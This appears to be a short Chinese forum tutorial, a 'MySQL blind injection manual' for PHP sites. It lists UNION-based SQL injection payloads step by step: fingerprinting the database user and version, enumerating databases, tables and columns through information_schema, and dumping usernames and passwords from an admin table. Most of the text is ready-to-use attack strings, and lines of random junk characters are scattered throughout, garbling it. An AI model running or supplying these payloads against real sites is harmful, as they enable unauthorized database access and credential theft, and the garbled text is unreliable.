mysql盲注手册

admin

教程内容:Mysql 5+php 注入



一.查看MYSQL基本信息(库名,版本,用户)
1 A5 g' N, c6 ?8 H1 n2 O5 t
" u2 e% m0 j7 _4 Zand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

8 O7 ^# L; i/ I: C二.查数据库
+ l. [( |2 f# o! `
& ]; _$ }: ^8 R0 C) s/ Pand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
2 N+ _" ~! X/ ulimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

0 E5 |3 G: A, k6 P* X- Z+ n: ^三.暴表

+ {  x7 e( f: `and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

6 \( H$ Z6 e: z# Llimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

1 f  ^6 _# q+ C/ _5 {/ ?$ c3 z四.暴字段
+ {( |( P0 y, L8 N  p- Q
0 V4 z& \* P3 @5 land 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

五.暴数据
! h1 e' U  C0 j* b4 Q
2 Q$ E' E7 D8 P5 z* W+ d; R) }/ Gand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


& k, [) f! L2 R! D6 ]( k  ]- v这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。